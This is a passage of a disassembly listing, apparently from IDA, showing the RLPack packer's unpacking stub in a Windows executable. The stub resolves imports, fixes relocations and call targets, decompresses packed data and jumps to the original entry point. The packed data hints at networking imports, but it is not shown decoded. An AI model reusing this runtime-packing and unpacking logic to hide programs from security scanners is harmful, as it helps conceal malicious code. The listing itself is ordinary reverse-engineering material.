--------------------------------------------------------------------------- loc_4CE512: ; CODE XREF: start+F1j push dword ptr [ebp+458h] loc_4CE518: ; CODE XREF: start+105j push dword ptr [ebp+454h] call dword ptr [ebp+3CDh] test eax, eax jz short loc_4CE599 mov [edi], eax add edi, 4 mov eax, [ebp+458h] jmp short loc_4CE536 ; --------------------------------------------------------------------------- loc_4CE535: ; CODE XREF: start+12Ej inc eax loc_4CE536: ; CODE XREF: start+128j cmp byte ptr [eax], 0 jnz short loc_4CE535 inc eax mov [ebp+458h], eax cmp word ptr [eax+2], 8000h jz short loc_4CE4EF loc_4CE54A: ; CODE XREF: start+E2j cmp byte ptr [eax], 0 jnz short loc_4CE4EF jmp short loc_4CE552 ; --------------------------------------------------------------------------- loc_4CE551: ; CODE XREF: start+14Aj inc esi loc_4CE552: ; CODE XREF: start+144j cmp byte ptr [esi], 0 jnz short loc_4CE551 inc esi inc eax mov edi, [eax] add edi, [ebp+43Ch] add eax, 4 mov [ebp+458h], eax loc_4CE56A: ; CODE XREF: start+C6j cmp byte ptr [esi], 1 jnz loc_4CE4D6 push 4000h push 677h push dword ptr [ebp+45Ch] call dword ptr [ebp+3D5h] call sub_4CE5CB call sub_4CE6B7 popa jmp sub_410B5C ; --------------------------------------------------------------------------- loc_4CE599: ; CODE XREF: start+D4j start+11Bj popa retn start endp ; =============== S U B R O U T I N E ======================================= sub_4CE59B proc near ; CODE XREF: start+39p pusha mov eax, [ebp+43Ch] add eax, [eax+3Ch] add ax, [eax+14h] add eax, 18h mov ebx, [eax+0Ch] add ebx, [ebp+43Ch] mov ecx, [eax+8] lea eax, [ebp+434h] push eax push 40h push ecx push ebx call dword ptr [ebp+3D9h] popa retn sub_4CE59B endp ; =============== S U B R O U T I N E ======================================= sub_4CE5CB proc near ; CODE XREF: start+17Ep pusha mov esi, [ebp+440h] or esi, esi jz short loc_4CE639 mov edi, [ebp+438h] mov eax, [ebp+43Ch] cmp eax, edi jz short loc_4CE639 add esi, eax jmp short loc_4CE634 ; --------------------------------------------------------------------------- loc_4CE5EA: ; CODE XREF: sub_4CE5CB+6Cj mov edx, [esi] mov eax, [esi+4] mov [ebp+444h], eax add [ebp+444h], esi add esi, 8 jmp short loc_4CE62C ; --------------------------------------------------------------------------- loc_4CE600: ; CODE XREF: sub_4CE5CB+67j movzx eax, word ptr [esi] mov ebx, eax shr ebx, 0Ch mov ecx, ebx imul ebx, 1000h sub eax, ebx add eax, edx add eax, [ebp+43Ch] cmp ecx, 3 jnz short loc_4CE629 sub [eax], edi mov ecx, [ebp+43Ch] add [eax], ecx loc_4CE629: ; CODE XREF: sub_4CE5CB+52j add esi, 2 loc_4CE62C: ; CODE XREF: sub_4CE5CB+33j cmp esi, [ebp+444h] jb short loc_4CE600 loc_4CE634: ; CODE XREF: sub_4CE5CB+1Dj cmp dword ptr [esi], 0 jnz short loc_4CE5EA loc_4CE639: ; CODE XREF: sub_4CE5CB+9j ; sub_4CE5CB+19j popa retn sub_4CE5CB endp ; =============== S U B R O U T I N E ======================================= sub_4CE63B proc near ; CODE XREF: start+73p pusha mov esi, [ebp+448h] add esi, [ebp+43Ch] mov edi, esi mov ecx, [ebp+44Ch] cmp dword ptr [ebp+450h], 0 jz short loc_4CE68D jmp short loc_4CE686 ; --------------------------------------------------------------------------- loc_4CE65B: ; CODE XREF: sub_4CE63B+4Ej cmp byte ptr [esi], 0E8h jz short loc_4CE665 cmp byte ptr [esi], 0E9h jnz short loc_4CE684 loc_4CE665: ; CODE XREF: sub_4CE63B+23j mov eax, [esi+1] cmp al, [ebp+450h] jnz short loc_4CE67E mov al, 0 bswap eax sub eax, 5 add eax, edi sub eax, esi mov [esi+1], eax loc_4CE67E: ; CODE XREF: sub_4CE63B+33j add esi, 4 sub ecx, 4 loc_4CE684: ; CODE XREF: sub_4CE63B+28j inc esi dec ecx loc_4CE686: ; CODE XREF: sub_4CE63B+1Ej cmp ecx, 0 ja short loc_4CE65B jmp short loc_4CE6B5 ; --------------------------------------------------------------------------- loc_4CE68D: ; CODE XREF: sub_4CE63B+1Cj cdq jmp short loc_4CE6B0 ; --------------------------------------------------------------------------- loc_4CE690: ; CODE XREF: sub_4CE63B+78j inc edx cmp byte ptr [esi], 0E8h jz short loc_4CE69B cmp byte ptr [esi], 0E9h jnz short loc_4CE6AE loc_4CE69B: ; CODE XREF: sub_4CE63B+59j mov eax, [esi+1] bswap eax sub eax, edx mov [esi+1], eax add esi, 4 add edx, 4 sub ecx, 4 loc_4CE6AE: ; CODE XREF: sub_4CE63B+5Ej inc esi dec ecx loc_4CE6B0: ; CODE XREF: sub_4CE63B+53j cmp ecx, 0 ja short loc_4CE690 loc_4CE6B5: ; CODE XREF: sub_4CE63B+50j popa retn sub_4CE63B endp ; =============== S U B R O U T I N E ======================================= sub_4CE6B7 proc near ; CODE XREF: start+183p pusha mov esi, [ebp+43Ch] add esi, [esi+3Ch] mov esi, [esi+0C0h] or esi, esi jz short loc_4CE6FA add esi, [ebp+43Ch] add esi, 0Ch mov esi, [esi] or esi, esi jz short loc_4CE6FA mov eax, [esi] jmp short loc_4CE6F6 ; --------------------------------------------------------------------------- loc_4CE6DE: ; CODE XREF: sub_4CE6B7+41j push esi cmp dword ptr [eax], 0 jz short loc_4CE6F0 push 0 push 1 push dword ptr [ebp+43Ch] call eax loc_4CE6F0: ; CODE XREF: sub_4CE6B7+2Bj pop esi add esi, 4 mov eax, [esi] loc_4CE6F6: ; CODE XREF: sub_4CE6B7+25j or eax, eax jnz short loc_4CE6DE loc_4CE6FA: ; CODE XREF: sub_4CE6B7+12j ; sub_4CE6B7+21j popa retn sub_4CE6B7 endp ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] mov edi, [esp+28h] cld mov dl, 80h xor ebx, ebx loc_4CE70A: ; CODE XREF: .RLPack:004CE712j movsb mov bl, 2 loc_4CE70D: ; CODE XREF: .RLPack:004CE737j ; .RLPack:004CE77Dj call sub_4CE77F jnb short loc_4CE70A xor ecx, ecx call sub_4CE77F jnb short loc_4CE739 xor eax, eax call sub_4CE77F jnb short loc_4CE749 mov bl, 2 inc ecx mov al, 10h loc_4CE72B: ; CODE XREF: .RLPack:004CE732j call sub_4CE77F adc al, al jnb short loc_4CE72B jnz short loc_4CE775 stosb jmp short loc_4CE70D ; --------------------------------------------------------------------------- loc_4CE739: ; CODE XREF: .RLPack:004CE71Bj call sub_4CE78B sub ecx, ebx jnz short loc_4CE752 call sub_4CE789 jmp short loc_4CE771 ; --------------------------------------------------------------------------- loc_4CE749: ; CODE XREF: .RLPack:004CE724j lodsb shr eax, 1 jz short loc_4CE79B adc ecx, ecx jmp short loc_4CE76E ; --------------------------------------------------------------------------- loc_4CE752: ; CODE XREF: .RLPack:004CE740j xchg eax, ecx dec eax shl eax, 8 lodsb call sub_4CE789 cmp eax, 7D00h jnb short loc_4CE76E cmp ah, 5 jnb short loc_4CE76F cmp eax, 7Fh ja short loc_4CE770 loc_4CE76E: ; CODE XREF: .RLPack:004CE750j ; .RLPack:004CE762j inc ecx loc_4CE76F: ; CODE XREF: .RLPack:004CE767j inc ecx loc_4CE770: ; CODE XREF: .RLPack:004CE76Cj xchg eax, ebp loc_4CE771: ; CODE XREF: .RLPack:004CE747j mov eax, ebp mov bl, 1 loc_4CE775: ; CODE XREF: .RLPack:004CE734j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_4CE70D ; =============== S U B R O U T I N E ======================================= sub_4CE77F proc near ; CODE XREF: .RLPack:loc_4CE70Dp ; .RLPack:004CE716p ... add dl, dl jnz short locret_4CE788 mov dl, [esi] inc esi adc dl, dl locret_4CE788: ; CODE XREF: sub_4CE77F+2j retn sub_4CE77F endp ; =============== S U B R O U T I N E ======================================= sub_4CE789 proc near ; CODE XREF: .RLPack:004CE742p ; .RLPack:004CE758p xor ecx, ecx sub_4CE789 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4CE78B proc near ; CODE XREF: .RLPack:loc_4CE739p inc ecx loc_4CE78C: ; CODE XREF: sub_4CE78B+Dj call sub_4CE77F adc ecx, ecx call sub_4CE77F jb short loc_4CE78C retn sub_4CE78B endp ; --------------------------------------------------------------------------- loc_4CE79B: ; CODE XREF: .RLPack:004CE74Cj sub edi, [esp+28h] mov [esp+1Ch], edi popa retn ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dd 0CE7CD00h, 0CE7DA00h, 5 dup(0) dd 72656B00h, 336C656Eh, 6C642E32h, 5D8006Ch, 0A5FD77E8h dd 980A77E7h, 9E3477E7h, 169A77E7h, 77E6h, 0 aLoadlibrarya db 'LoadLibraryA',0 align 2 aGetprocaddress db 'GetProcAddress',0 align 2 aVirtualalloc db 'VirtualAlloc',0 align 10h aVirtualfree db 'VirtualFree',0 dd 72695600h, 6C617574h, 746F7250h, 746365h, 100000h, 800h dd 2000h, 2 dup(40000000h), 2 dup(0) dd 100000h, 18E0000h, 1A00h, 0E6000000h, 32067B77h, 32000000h dd 0BE00000h, 100000h, 0CB7E800h, 1A00000h, 0CBD8200h dd 1C00000h, 0CE3F300h, 0BC00000h, 0 dd 530E5700h, 63335F32h, 8F6C642Eh, 52455601h, 544F49F4h dd 834B0C4Eh, 304CF5CFh, 0A1880119h, 0C306C1E7h, 5A398083h dd 636F0341h, 0BF74656Bh, 0EF1F0706h, 22730991h, 20A4415h dd 1120D89h, 9480B24h, 10220491h, 89170344h, 24121213h dd 78195C97h, 9C8747B1h, 576C6946h, 73727356h, 496E6FB8h dd 53EA66E4h, 41FE7AFEh, 286D18A5h, 75511B8Ch, 61F07908h dd 47D96C77h, 80A2A002h, 8506D11h, 616DDC40h, 0BC636E3Eh dd 37753B43h, 53061E74h, 3C457F80h, 78E76976h, 0BC22ED6Dh dd 62E6FB64h, 406B6C6Ch, 1A706F6Dh, 22745326h, 57676E15h dd 9041A20Fh, 514F6436h, 0AEC37B66h, 687328CCh, 7142780Ah dd 0C88AA66h, 6E64521Eh, 3D9ACE48h, 4136A128h, 0F9707954h dd 600F5A57h, 42734992h, 0BA646E61h, 2A50DA7Eh, 0EF520D11h dd 991A0868h, 686E5561h, 45324457h, 70B18778h, 0CDB4E0FAh dd 3647B522h, 73295084h, 8D21757h, 523FB79Fh, 183AE42Eh dd 761B9341h, 4D454F80h, 9A15043h, 0A9074941h, 3F38720Ch dd 614D094Ch, 852B1470h, 0FE9AB70Dh, 4337DBD4h, 6F54D0A0h dd 8ADF754Dh, 9279424Dh, 0B361DA05h, 4CFE6F50h, 0CE16DB82h dd 541F7685h, 0D5E1348Ch, 0EA73F16Ch, 576D474Eh, 6F4C38A0h dd 249CF554h, 9D63DF73h, 0A0B7E84Eh, 0CA70692Ah, 3ECA4324h dd 10481D52h, 4F0D4DC9h, 470F169Ah, 4C791384h, 281B7348h dd 4CE7EA72h, 6867542Ch, 0E20A640Fh, 0B33AA34h, 760A364Ch dd 63E4CBECh, 0A2833698h, 40F826ADh, 158FA184h, 26549F33h dd 6A416B20h, 3B6D3AB3h, 5E7AD538h, 0B641283Ch, 0E1A270F4h dd 65442610h, 7CB58CA3h, 0BAE94C5Eh, 625179F0h, 0C9921CFh dd 0A0A150A5h, 0C664E563h, 1A738F87h, 0FF3372C7h, 0B8464026h dd 39BB284Dh, 181F6735h, 56701CA5h, 774D697Fh, 0E4DCA84h dd 0DC119C7Ah, 52B26631h, 1EBA1008h, 2DBA746Dh, 62B090Ch dd 4ED4B77Bh, 0E3703412h, 4190178Eh, 23637BDEh, 66647562h dd 3C3B4727h, 322B5854h, 0A968A850h, 4C98BB0Dh, 708452AEh dd 0D7A49D79h, 74262DAh, 0D6DCC05h, 0A6C079D4h, 552B3F56h dd 0E664E034h, 10443A4Dh, 530D0F0Eh, 0F5207379h, 59974544h dd 62416F3Dh, 0CF93B4D1h, 12266471h, 6FF08C79h, 0E0866892h dd 0DE8EE3A4h, 848C87AEh, 58704F34h, 3E631866h, 0D17D7543h dd 49892A22h, 61571083h, 53FF7065h, 4F5EFD58h, 0EF6A6A62h dd 514DE52Ch, 6C28CFEAh, 0A163FE90h, 95EA69EAh, 20A3243Fh dd 726D6D97h, 43620B59h, 0A1BB7C93h, 7DA42023h, 700348E4h dd 448E6C41h, 99640A8Ah, 747F52E0h, 7764E490h, 1B8A644Ah dd 22465A24h, 45EE8A3Eh, 29142B87h, 924A4AD3h, 704B0A72h dd 4B944862h, 0A419B30Ah, 6970B562h, 0F216AC8Bh, 887B827Eh dd 6F8AD622h, 0EEA30C79h, 68574C38h, 9522BAADh, 0AB870C8Eh dd 0C29521Dh, 9A69BA2Ch, 7CBBC4A3h, 0B861F352h, 29D13E62h dd 0B970AD5Dh, 69A024DBh, 0D8324C29h, 474A1F6Ch, 9D233079h dd 70707910h, 0C0h db 2 dup(0) _RLPack ends ; Section 3. (virtual address 000CF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000CEC00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4CF000h align 2000h _idata2 ends end start